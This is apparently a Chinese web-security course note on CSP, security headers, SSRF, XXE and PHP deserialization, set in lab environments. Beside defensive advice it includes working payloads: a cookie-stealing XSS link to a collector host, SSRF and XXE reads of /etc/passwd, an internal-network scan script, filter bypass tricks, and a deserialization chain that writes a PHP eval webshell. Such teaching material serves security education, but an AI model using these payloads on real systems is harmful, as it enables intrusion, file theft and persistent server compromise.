<?php
ini_set("session.cookie_httponly", 1);
?>
方法三:在setcookie函数中第7个参数中设置(有效范围:当前Cookie)
<?php
setcookie("mycookie", "myvalue", time()+3600, '/', 'woniuxy.com', null, true);
?>

另外的防御方案就是对用户的输入进行各种校验,过程非常繁琐,还容易出错或者遗漏,有没有一种方法可以从根本上解决问题,就像Cors那样快捷方便地通过响应头的约束,就可以让浏览器执行安全检查,杜绝XSS漏洞呢?

二、CSP内容安全策略

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。有两种方法可以启用 CSP。

1、是通过 HTTP 响应头信息的Content-Security-Policy的字段
Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:

在PHP中直接使用 header() 函数定义响应头内容即可

2、通过网页的 meta 标签
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

上面代码中,CSP 做了如下配置。

default-src: 定义针对所有类型(js/image/css/font/ajax/iframe/多媒体等)资源的默认加载策略,如果某类型资源没有单独定义策略,就使用默认的。
script-src 'self' http://www.woniunote.com,对于脚本:只信任当前域名自己和http://www.woniunote.com
object-src 'none',对于<object>标签:不信任任何URL,即不加载任何资源
style-src,对于样式表:只信任cdn.example.org和third-party.org
child-src https,对于框架(frame):必须使用HTTPS协议加载,注意冒号是https协议的一部分
对于其他资源:如果未定义,则使用default-src

一旦启用后,不符合 CSP 的外部资源就会被阻止加载。

3、在security的read.php页面,增加以下响应头
header("Content-Security-Policy: script-src 'self'");

此时,访问:http://192.168.72.148/security/Login/read.php?id=26 ,并打开浏览器的F12,查看浏览器安全提示如下:

image-20220818123515044

我们还可以添加unsafe-inline来允许行内访问

4、report-uri安全报告

在 Content-Security-Policy 中,我们还可以设置report-uri属性,用于向一个指定的服务器地址提交JSON格式的安全报告

Content-Security-Policy: script-src 'self'; report-uri http://192.168.112.188/security/cspreport.php

一旦访问到受攻击页面并触发了脚本执行,浏览器除了阻止攻击脚本执行外,还会按照以下JSON格式提交安全报告内容

{
  "csp-report": {
    "document-uri": "http://192.168.72.148/security/Login/read.php?id=26"
    "referrer": "http://192.168.72.148/security/Login/list.php"
    "violated-directive": "script-src-elem"
    "effective-directive": "script-src-elem"
    "original-policy": "script-src http://192.168.72.148;
    report-uri http://192.168.72.148/security/CSP/cspreport.php"
    "disposition": "enforce"
    "blocked-uri”: “http://192.168.72.129:3000”
       "status-code": 200
    "script-sample":"",
  }
}

cspreport.php的代码如下:

<?php
    $time = date('Y-m-d H:i:s');
    $file = fopen('./cspreport.txt','a');
    //由于CSPreport发过来的是JSON数据,所以需要解码成为PHP认识的关联数组或者索引数组
    $data = file_get_contents('php://input');   // 利用伪协议取得POST请求内容
    $json = json_decode($data, true);        // True表示生成关联数组
    fwrite($file, 'report-time: ' . $time . "\r\n");      // 注意\r\n必须在双引号内,使其成为转义符
    //遍历
    foreach ($json['csp-report'] as $key => $value) {
        fwrite($file,$key.':'.$value."\r\n");
    }

    fwrite($file,"\r\n--------------------------------\r\n\r\n");
    fclose($file);
?>

进入一个存在XSS注入漏洞的页面,将触发以上代码执行,并在cspreport.txt文件中输出以下内容:

report-time: 2022-07-31 16:19:40
blocked-uri:http://192.168.72.129:3000
document-uri:http://192.168.72.148/security/Login/read.php?id=26
original-policy:script-src http://192.168.72.148; report-uri http://192.168.72.148/security/CSP/cspreport.php
referrer:http://192.168.72.148/security/Login/list.php
violated-directive:script-src http://192.168.72.148

需要设置 报告(cspreport.txt) 所在目录为可写权限,或者直接将其遍历后保存到数据库中。

设置响应头的Content-Security-Policy-Report-Only字段,则可以不拦截,只上报。

5、其他安全配置
# 允许服务器自己和来自http://192.168.72.129的脚本源
header("Content-Security-Policy: script-src 'self' http://192.168.72.129");
# 允许服务器自己和来自http://192.168.72.129的脚本源,并允许行内代码执行
header("Content-Security-Policy: script-src 'self' http://192.168.72.129 'unsafe-inline'");
# 以下没有包含在<script>标签中的代码称为行内代码
<div><a href="javascript:location.href='http://127.0.0.1:8081/learn/secure/xssrecv.php?url=' +location.href+'&cookie='+Document.cookie">
<img src="../image/星球.png"/></a>

更多CSP安全策略,可参考 http://www.ruanyifeng.com/blog/2016/09/csp.html 或 https://cloud.tencent.com/developer/chapter/13541

6、Web服务器全局配置(优先配置)

上述代码演示仅限于针对单页面内容设置专用的响应头,事实上也可以修改Web服务器的配置文件,直接为其添加全局配置即可。

(1)Apache添加,修改httpd.conf,添加

Header set Content-Security-Policy "default-src 'self'; report-uri http://192.168.72.148/security/CSP/cspreport.php"

(2)Nginx添加,在server节点下添加

add_header Content-Security-Policy "default-src 'self';";
三、DVWA中的CSP过关
1、Chrome浏览器:

Low:https://pastebin.com/raw/vpZLqjEg

随便上传一个JS,发现有CSP拦截,只允许白名单

image-20220818162015406

image-20220818161942039

Medium:<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

注入JS代码的时候,发现JS里需要携带onoce才可以正常访问,虽然说本地闯关可以直接获取到nonce的值,但是在实际环境中,这个值是随机的,我们不可能知道用户的nonce值为多少

image-20220818162250313

2、使用IE浏览器试试:

Low: http://192.168.72.148/security/alert.js

Medium: <script>alert(1)</script>

本地实验环境可以模拟浏览器响应来绕过限制,但是对XSS无效,因为其他用户的响应我们无法模拟。

3、CSP的绕过策略

https://www.jianshu.com/p/f1de775bc43e

四、其他安全响应头
1、X-Content-Type-Options

互联网上的资源有各种类型,通常浏览器会根据响应头的Content-Type字段来分辨它们的类型。例如:”text/html”代表html文档,”image/png”是PNG图片,”text/css”是CSS样式文档。然而,有些资源的Content-Type是错的或者未定义。这时,某些浏览器会启用MIME-sniffing来猜测该资源的类型,解析内容并执行。禁止浏览器来猜测类型

例如,我们即使给一个html文档指定Content-Type为”text/plain”,在IE8-中这个文档依然会被当做html来解析。利用浏览器的这个特性,攻击者甚至可以让原本应该解析为图片的请求被解析为JavaScript。通过下面这个响应头可以禁用浏览器的类型猜测行为:

X-Content-Type-Options: nosniff
2、X-XSS-Protection(浏览器较低的版本支持)

顾名思义,这个响应头是用来防范XSS的。现在主流浏览器都支持,并且默认都开启了XSS保护,它有几种配置:

  • 0:禁用XSS保护;
  • 1:启用XSS保护;
  • 1; mode=block:启用XSS保护,并在检查到XSS攻击时,停止渲染页面(例如IE8中,检查到攻击时,整个页面会被一个#替换);

浏览器提供的XSS保护机制并不完美,但是开启后仍然可以提升攻击难度,总之没有特别的理由,不要关闭它。

SSRF服务器请求伪造

一、SSRF漏洞概述

SSRF(Server-Side Request Forgery:服务器端请求伪造)其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制。
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。比如从指定URL地址获取网页文本内容,扫描内网是否可用,端口是否开放等操作。

数据流:攻击者----->服务器---->目标地址

通俗的来说就是我们可以”伪造”服务器端发起的请求,从而获取客户端所不能得到的数据。

二、SSRF常见的函数
file_get_contents();
fsockopen();
curl_exec();

这些函数的共同特点就是可以通过一些网络协议去远程访问目标服务器上的资源,然后对资源进行处理。

1、file_get_contents()

直接发送GET请求,简单

// 直接访问一个URL地址,并输出结果
$resp =file_get_contents("http://192.168.72.148/security/Login/login.html");
echo $resp;
2、fsockopen()

不常用

// 实例化一个到www.woniunote.com:80的连接,超时时间30秒
$fp = fsockopen("www.woniunote.com", 80, $errno, $errstr, 30);
$fp = fsockopen("192.168.72.148", 80, $errno, $errstr, 30);
// 拼接HTTP请求头
$out = "GET /security/Login/login.html HTTP/1.1\r\n";
$out .= "Host: 192.168.72.148\r\n";
$out .= "Connection: Close\r\n\r\n";
// 将请求头写入$fp实例开始发送
fwrite($fp, $out);
// 按行读取响应并输出
while (!feof($fp)) {
    echo fgets($fp, 1024);
}
fclose($fp);

image-20220819122436881

会把响应头一起输出

3、curl_exec()

最重要的函数

// 创建一个cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://192.168.72.148/security/Login/login.html");
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
4、curl_exec() 发送POST请求
$url = 'http://192.168.72.148/security/Login/login-1.php';
$data = 'username=woniu&password=123456&vcode=0000';
$ch = curl_init();
$params[CURLOPT_URL] = $url;            // 请求url地址
$params[CURLOPT_HEADER] = true;        // 是否返回响应头信息
$params[CURLOPT_RETURNTRANSFER] = true; // 是否将结果返回
$params[CURLOPT_FOLLOWLOCATION] = false; // 是否重定向
$params[CURLOPT_TIMEOUT] = 30;          // 超时时间
$params[CURLOPT_POST] = true;
$params[CURLOPT_POSTFIELDS] = $data;    // 给POST请求正文赋值
$params[CURLOPT_SSL_VERIFYPEER] = false;// 请求https时,不验证证书
$params[CURLOPT_SSL_VERIFYHOST] = false;// 请求https时,不验证主机
curl_setopt_array($ch, $params);        //传入curl参数
$content = curl_exec($ch);              //执行
echo $content;
curl_close($ch);                        //关闭连接
三、SSRF主要危害

(1)可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

(2)攻击运行在内网或本地的应用程序(比如溢出);

(3)对内网Web应用进行指纹识别,通过访问默认文件实现;

(4)攻击内外网的Web应用,主要是使用Get参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等);

(5)利用file,dict,gopher,http,https等协议读取本地文件,访问敏感目标,反弹shell等高危操作。

1、先准备以下脚本:
$url = $_GET['url'];
$resp = file_get_contents($url);
echo $resp;


// 或使用以下方式访问
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
$content = curl_exec($ch);
echo $content;
curl_close($ch);
2、读取文件和信息
http://192.168.72.148/security/SSRF/ssrf.php?url=file:///etc/passwd
http://192.168.72.148/security/SSRF/ssrf.php?url=file://../../../etc/passwd
http://192.168.72.148/security/SSRF/ssrf.php?url=http://192.168.72.1
192.168.72.148/security/SSRF/ssrf.php?url=http://192.168.72.1:3306
3、内网扫描

(1)使用Burp遍历IP或端口完成扫描

(2)使用Python代码进行类似的扫描

import requests

for i in range(1, 255):
    try:
        resp = requests.get(f'http://192.168.72.148/security/SSRF/ssrf.php?url=http://192.168.72.{i}', timeout=2)
        if 'file_get_contents' not in resp.text and 'Warning' not in resp.text:
            print(f'192.168.72.{i} is online')
    except:
        pass

上述代码仅供演示,真实情况是需要至少扫描 /24 和 /16 两个网段,并尝试ABC类网址的私有地址段,及各类常用端口

10.0.0.0到10.255.255.255是A类私有地址

172.16.0.0到172.31.255.255是B类私有地址

192.168.0.0到192.168.255.255是C类私有地址

4、获取指纹

根据扫描结果,进一步实现内网访问,进而获取服务器指纹信息,规划下一步攻击方案。

四、SSRF漏洞挖掘技巧
1、从URL中寻找
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
location
remote
2、从Web页面功能上寻找
分享功能
		通过URL地址分享网页内容早期分享应用中,为了更好的提供用户体验,WEB应用在分享功能中,通常会获取目标URL地址网页内容中的<tilte></title>标签或者<metaname=“description”content=“”/>标签中content的文本内容作为显示以提供更好的用户体验。例如早期人人网分享功能中:http://widget.renren.com/*****?resourceUrl=https://www.sobug.com通过目标URL地址获取了title标签和相关文本内容。而如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。

转码服务
		通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。

在线翻译
		通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等。
		
图片加载与下载
		通过URL地址加载或下载图片图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(此处可能会有人有疑问,为什么加载图片服务器上的图片也会有问题,直接使用img标签不就好了?,没错是这样,但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)。
		
图片、文章收藏功能
		此处的图片、文章收藏中的文章收藏就类似于功能一、分享功能中获取URL地址中title以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能四、图片加载。
		
未公开的api实现以及其他调用URL的功能
		未公开的api实现以及其他调用URL的功能此处类似的功能有360提供的网站评分,以及有些网站通过api获取远程地址xml文件来加载内容。在这些功能中除了翻译和转码服务为公共服务,其他功能均有可能在企业应用开发过程中遇到。
五、SSRF的判断方法

SSRF根据业务功能不同,返回的内容也会有区别,大致分为三类:

完全回显:可以通过回显信息来判断是否漏洞存在
半回显:虽然不能完全显示出信息,但是也能显示出title、图片等有价值的信息
无回显:需要像盲注那样用其他方法去尝试确认漏洞的存在

遇到无回显的时候,怎么去判定是否存在SSRF漏洞呢?

1、DNSlog

2、租用公网服务器,查看访问日志

3、时间型盲注

六、SSRF利用方式
gopher 
因为使用了curl才支持的goper,PHP默认不支持。
Gopher是一种分布式的文档传递服务。它允许用户以无缝的方式探索、搜索和检索驻留在不同位置的信息。gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色。
http://examplesite/ssrf.php?url=gopher://127.0.0.1:3333/_test

dict
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。
http://examplesite/ssrf.php?url=dict://127.0.0.1:3306/info

file
file协议主要用于访问本地计算机中的文件
http://examplesite/ssrf.php?url=file://127.0.0.1/flag.php

http
http可以访问其他内网IP的服务器,也可以做任意URL跳转
http://examplesite/ssrf.php?url=http://www.baidu.com
七、SSRF绕过技巧

1、将IP地址转换成十进制

使用https://www.bejson.com/convert/ip2int/ 进行IP地址转换,比如直接访问:

http://1696940379

3232254100

2、重新构造URL地址

http://www.baidu.com@www.woniuxy.com

服务器检查,确定是http域名,并且假设baidu在白名单内,但是实际访问的是@后面的网址,会将其当作网站的账号,实现绕过

3、使用短网址

将一个有效的网址利用短网址平台进行转码,https://dwz.cn/12Nsui2 => http://www.woniunote.com/article/225

我们应该注意重定向的问题

八、SSRF的防御

(1)限制协议为HTTP、HTTPS,不允许其他协议

$url = $_GET['url'];
// stripos($source, $sub),如果找到了sub,则返回下标0开始的位置,其中的i代表不区分大小写,strpos代表区分大小写
// 找到http不代表以http开头,例如dict://1,1,1,1:22/http
// 如果没有找到,则返回false,但是 0==false,所以务必使用 0===false
if (stripos($url, 'http') === false || stripos($url, 'http') > 0) {
    echo "Error Protocol";
}
else {
    echo "Good Protocol";
}

(2)设置URL或IP地址白名单,非白名单不允许访问

(3)限制内网IP访问,比如URL地址不能以 10.0、172.16、192.168开头等

// 绕过Payload
url=http://www.baidu.com@192.168.112.158/index.html

(4)统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态,或者直接禁用错误消息

error_reporting(0);
或者在调用的函数前面加 @
$content = @curl_exec($ch);

(5)禁用重定向操作(服务器端客户端均需要过滤)
使用重定向可以直接跳转到目标URL地址页面,用于构造钓鱼网站等操作。

使用 curl_exec 函数的 CURLOPT_FOLLOWLOCATION = false,无法禁止JS重定向,只能限制PHP层面的 header("Location:list.php");
如果要限制 JS 的location.href 重定向,则需要对响应的内容进行判断,进而确定是否允许
// 判断是否存在客户端JS重定向
$content = curl_exec($ch);
if (stripos($content, 'location.href') === false)
    echo $content;
else
    die("ERROR");

(6)限制请求的端口,比如80,443,8080,8090

(7)后台服务器最好禁止远程用户指定的请求,让参数不可控

(8)如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。

(9)服务端需要认证交互,禁止非正常用户访问服务,杜绝伪造请求

XXE外部实体漏洞

一、何谓XXE

​ XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件 和 代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。

二、 XML文档结构
1、XML语法规则

(1)XML 文档必须有一个根元素

(2)XML 元素都必须有一个关闭标签

(3)XML 标签对大小敏感

(4)XML 元素必须被正确的嵌套

(5)XML 属性值必须加引导

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ------------ >
<class id="WNCDC085">
  <student sequence="1">
    <id>WNCD201703015</id>
    <name>敬小越</name>
    <sex></sex>
    <age>24</age>
    <degree>本科</degree>
    <school>电子科技大学成都学院</school>
  </student>
  <student sequence="2">
    <id>WNCD201703025</id>
    <name>杨大言</name>
    <sex></sex>
    <age>22</age>
    <school>四川华新现代职业学院</school>
  </student>
</class>
2、DTD(document type definition)

​ XML文档结构包括XML声明、DTD文档类型定义、文档元素。而DTD就是用来控制文档的一个格式规范的。下图中的DTD就定义了XML的根元素为note,然后根元素下面有一些子元素(to,from,heading,body),那么下面的文档元素就必须是这些元素。

image-20211118022456887

PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本

3、内部实体引用

其实除了在DTD中定义元素以外,我们还可以在DTD中定义实体(相当于一个变量),我们可以在XML中通过“&”符号进行引用。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
    <!ELEMENT name ANY >      #定义元素为ANY表示接收任何元素
    <!ENTITY xxe "test" >      #定义了一个实体xxe,值为test字符串
]>
<node>&xxe;</node>

在XML元素中进行内部实体引用, 进而实现变量替换

4、外部实体引用
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///etc/passwd"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

此时,lastname节点的值将被文件 /etc/passwd 文件的内容替换掉

5、外部引用
格式:<!DOCTYPE 根元素 SYSTEM "文件名">
如以下DTD定义引用自外部文件 note.dtd
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
外部文件 note.dtd 的内容为:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
三、漏洞利用
1、准备PHP代码
$xml = file_get_contents("php://input");    // 直接使用伪协议读取POST请求的全部内容
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);   // 此过程会对XML进行解析
echo $data;
2、在firefox中发送POST请求
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY file SYSTEM "file:///etc/passwd">]>
<node>&file;</node>

image-20220823103142038

上述PHP代码中,并没有使用 $_POST[‘arg’] 去获取请求的内容,而是使用PHP伪协议 php://input,所以不需要指定参数名

如果使用 $_POST[‘arg’] 去读取前端提交的XML内容,也是没有问题的指定arg=xml即可,但是需要将xml内容进行URL转码

3、试试端口扫描
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY file SYSTEM "http://192.168.72.1:8081">]>
<node>&file;</node>

既然可以端口扫描,当然也可以实现内网扫描、资产探测、DOS攻击等操作。

image-20220823103256378

四、靶场环境下的XXE
1、Pikachu
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY file SYSTEM "file:///etc/passwd">]>
<node>&file;</node>
2、Dorabox

需要查看源码

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY hellwork SYSTEM "file:///etc/passwd">
]>
<user><username>&hellwork;</username><password>Mikasa</password></user>

image-20220823110456846

先查看响应,根据响应来进行外部实体引用

VAuditDemo审计思路

PHP反序列化漏洞原理

一、PHP反序列化回顾

1、PHP代码
<?php
    class People{
        var $name = '';
        var $sex = '';
        var $age =0;
        var $addr = '';

    // 魔术方法:__construct,指类在实例化的时候,自动调用

    function __construct($name='Yang',$sex='Boy',$age='23',$addr='TianJin'){
        $this->name = $name;
        $this->sex = $sex;
        $this->age = $age;
        $this->addr = $addr;
        echo "正在初始化.<br/>";
    }

    //魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用.
    function __destruct(){
        echo"正在释放资源.<br/>";
    }

    //魔术方法:__sleep(),在类实例被序列化时,自动调用
    function __sleep(){
        echo "正在序列化.<br/>";
        // 返回一个由序列化类的属性名构成的数组
        return array('name','sex','age','addr');
    }

    // 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destruct
        function __wakeup(){
            echo "正在被反序列化.<br/>";
        }

        function getName(){
            echo $this->name . "<br/>";
        }

    }

    // 序列化的过程
    // $p1=new People();
    // echo $p1->name. "<br/>";
    // echo serialize($p1). "<br/>";


    // 反序列化的过程
    $source= 'O:6:"People":4:{s:4:"name";s:4:"Yang";s:3:"sex";s:3:"Boy";s:3:"age";s:2:"23";s:4:"addr";s:7:"TianJin";}';
    $p2 = unserialize($source);
    $p2->getName();

?>
2、魔术方法

在PHP反序列化的过程中会自动执行一些魔术方法,完整的列表如下

方法名调用条件
__call调用不可访问或不存在的方法时被调用 __call($name, $args)
__callStatic调用不可访问或不存在的静态方法时被调用
__clone进行对象clone时被调用,用来调整对象的克隆行为
__constuct构建对象的时被调用;
__debuginfo当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct明确销毁对象或脚本结束时被调用;
__get读取不可访问或不存在属性时被调用
__invoke当以函数方式调用对象时被调用
__isset对不可访问或不存在的属性调用isset()或empty()时被调用
__set当给不可访问或不存在属性赋值时被调用
__set_state当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString当一个类被转换成字符串时被调用
__unset对不可访问或不存在的属性进行unset时被调用
__wakeup当使用unserialize时被调用,可用于做些对象的初始化操作,__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

二、反序列化漏洞

1、存在反序列化漏洞的代码

新键一个PHP源文件,命名为:usdemo.php

<?php

class USDemo{
    var $code;
    function __destruct()
    {
        @eval($this->code);
    }
}

$test = unserialize($_GET['code']);
2、如何利用该反序列化漏洞

(1)先分析代码的结构,值如何传入,什么情况下会被调用,被调用是什么结果

(2)由于反序列化后输出结果通常是比较复杂的结构,人为构造是很容易出错且几乎不可能的事情,所以我们需要自己编写一个与漏洞代码相同的类名,相同的属性,甚至相同代码的类,用于生成序列化后的字符串

新建一个PHP源文件,命名为:uspoc.php

<?php

use USDemo as GlobalUSDemo;

 class USDemo{
    // var $code = 'system("ifconfig");';   // 直接填充要执行的命令体
    var $code = 'phpinfo();';
    function __wakeup()
    {
        @eval ($this->code);
    }
 }

$utp = new USDemo();

echo serialize($utp)
?>

image-20220904173559164

(3)从上述POC代码中获取到反序列化的结果,再将该结果提交给漏洞代码的code参数,完成利用

image-20220904173227495

(4)将ustest.php漏洞代码中的 __destruct() 魔术方法,修改为 __wakeup() 方法

image-20220904173221249

就不会在序列化的时候执行phpinfo();

PHP反序列化基础利用链

一、准备漏洞代码

<?php

    class Yang{
        var $a;
        function __construct()
        {
            $this->a = new Test();
        }

        function __destruct()
        {
            $this->a->hello();
        }

        
    }

    class Test{
        function hello(){
            echo "Hello World.";
        }
    }

    class vul{
        var $data;
        function hello(){
            @eval($this->data);
        }
    }


    unserialize($_GET['code']);

?>

二、准备POC代码

简化后的POC代码

<?php
class Yang {
    var $a;
    function __construct() {
        $this->a = new Vul();
    }
}

class Vul {
    var $data='phpinfo();';
}


echo serialize(new Yang());
?>

三、执行漏洞利用

image-20220905092107640

四、变量存在访问修饰符的利用

1、为漏洞代码添加修饰符
<?php

    class Yang{
        private $a;
        function __construct()
        {
            $this->a = new Test();
        }

        function __destruct()
        {
            $this->a->hello();
        }

        
    }

    class Test{
        function hello(){
            echo "Hello World.";
        }
    }

    class vul{
        protected $data;
        function hello(){
            @eval($this->data);
        }
    }


    unserialize($_GET['code']);

?>
2、构造存在修饰符的POC
<?php
class Yang {
    private $a;
    function __construct() {
        $this->a = new Vul();
    }
}

class Vul {
    protected $data='phpinfo();';
}

echo serialize(new Yang());
?>
3、事实上的输出

image-20220905091511007

上述输出中包含了多个不可见字符,即%00字符,所以需要使用URL转码使用

4、进行URL转码后利用

(1)修改uspoc.php中输出反序列化字符串的代码为:

echo urlencode(serialize(new Yang()));

(2)在浏览器中访问usdemo.php并传参为:

http://192.168.72.148/security/serialize/ustest-1.php
?code=O%3A4%3A%22Yang%22%3A1%3A%7Bs%3A7%3A%22%00Yang%00a%22%3BO%3A3%3A%22Vul%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

五、反序列化的常用手段

1、反序列化的常见起点:

(1)__wakeup 一定会调用

(2)__destruct 一定会调用

(3)__toString 当一个对象被反序列化后又被当做字符串使用

2、反序列化的常见中间跳板:

(1)__toString 当一个对象被当做字符串使用

(2)__get 读取不可访问或不存在属性时被调用

(3)__set 当给不可访问或不存在属性赋值时被调用

(4)__isset 对不可访问或不存在的属性调用isset()或empty()时被调用,形如 t h i s − > this-> this>func();

(5)__call 调用不可访问或不存在的方法时被调用

3、反序列化的常见终点:

(1)call_user_func 一般php代码执行都会选择这里

(2)call_user_func_array 一般php代码执行都会选择这里

(3)执行指令、文件操作、执行代码等敏感操作

4、常用的函数调用方式
function demo($a, $b) {
    echo $a + $b;
    echo "<br/>";
}
class Test {
    function add($a, $b) {
        echo $a + $b;
        echo "<br/>";
    }
    function __call($name, $args) {
        echo $name . " 方法不存在. <br/>";
        var_dump($args) . "<br/>";
    }
}

//正常情况
demo(1,2)
    
//变为字符串来调用
// 使用 call_user_func 调用
call_user_func('demo', 100, 200);
call_user_func(array('Test', 'add'), 1000, 2000);
// call_user_func_array函数和call_user_func很相似,只是换了一种方式传递参数,让参数的结构更清晰,是最常用的方法
call_user_func_array('demo', array(120, 220));
call_user_func_array(array('Test', 'add'), array(1200, 2200));
// 当调用不存在的方法时,__call会被触发
$t = new Test();
$t->minus(111,222);
// 如果call_user_func_array和call_user_func的参数可控时,我们则可以调用system函数并传参,或者调用assert函数并传参等,实现各种敏感函数的调用来进行利用。

PHP反序列化练习讲解

一、目标代码分析

请完成对以下代码的Payload构造,并实现写入木马的功能:

1、此处代码并没有直接unserialize,而是实例化,且参数从Cookie中来

2、return [] 并不会执行,是干扰代码,不应该去关注

3、所有方法中全在使用$data定义,很容易扰乱思路

4、在第6行的$data是一个Template实例,倡在第22时,却在使用数组调用

5、如何能够到达目标?需要经过__destruct调用,而什么时候会调用__destruct?释放时均会调用,所以此处会调用两次。

6、?: 是什么意思?三元运算符,A ? B : C,如果A,则B,否则C。 A ?: B, 如果A,则A,否则B

class Template {
    var $cacheFile = "cache.txt";
    var $template = "<div>Welcome back %s</div>";
    function __construct($data = null) {
        $data = $this->loadData($data);    // $data反序列后是一个Template对象
        $this->render($data);
    }
    function loadData($data) {
        return unserialize($data);   // $data值必须是一个序列化结果
        return [];                   // []代表空数组,但是此处不会执行
    }
    function createCache($file = null, $tpl = null) {
        $file = $file ?: $this->cacheFile;
        $tpl = $tpl ?: $this->template;
        file_put_contents($file, $tpl);
    }
    function render($data) {
        echo sprintf($this->template, htmlspecialchars($data['name']));  // 此处$data只能是一个数组,如果代码不是数组,就会停止运行,不会执行createCache
    }
    // 此会会被调用两次,第一次实例化后正常调用,第二次反序列后再调用 
    function __destruct() {
        $this->createCache();
    }
}
new Template($_COOKIE['data']);

二、反序列化POC

<?php
	class Template{
        var $cacheFile = '/opt/lampp/htdocs/security/Login/upload/shell.php';
        var $template = '<?php @eval($_POST["code"]); ?>';
    }

    $a =new Template();
    $b = array($a);
    echo urlencode(serialize($b));
?>

image-20220905104012394

image-20220905104139481

三、VSCode+XDebug远程调试

1、安装VScode插件

​ 无论远程调试,还是本地,在VSCode中都需要安装PHP Debug插件,,顺便也把智能提示安装在远程,实现智能提示。

image-20220905104545651

2、在Linux上安装XDebug

二、在Linux上安装XDebug

1、下载XDebug对应版本:https://xdebug.org/download/historical,可通过phpinfo()确认适用于哪个版本

2、在Linux上解压XDebug源码

[root@centqiang xdebug-2.5.5]# /opt/lampp/bin/phpize
Configuring for:
PHP Api Version:         20131106
Zend Module Api No:      20131226
Zend Extension Api No:   220131226
Cannot find autoconf. Please check your autoconf installation and the
$PHP_AUTOCONF environment variable. Then, rerun this script.

如果出现以上提示,安装:yum install autoconf

3、./configure —enable-xdebug —with-php-config=/opt/lampp/bin/php-config

4、make

5、make install

6、取得扩展文件xdebug.so的路径

Installing shared extensions:     /opt/lampp/lib/php/extensions/no-debug-non-zts-20131226/

7、修改:/opt/lampp/etc/php.ini,在Module Settings节点下添加:

;;;;;;;;;;;;;;;;;;;
; Module Settings ;
;;;;;;;;;;;;;;;;;;;
[XDebug]
zend_extension=/opt/lampp/lib/php/extensions/no-debug-non-zts-20131226/xdebug.so  
xdebug.remote_enable = 1       ; 开启远程调试功能
xdebug.remote_autostart = 1    ; 自动启动
xdebug.remote_handler = "dbgp" ; 调试处理器
xdebug.remote_port = "9000"    ; 端口号
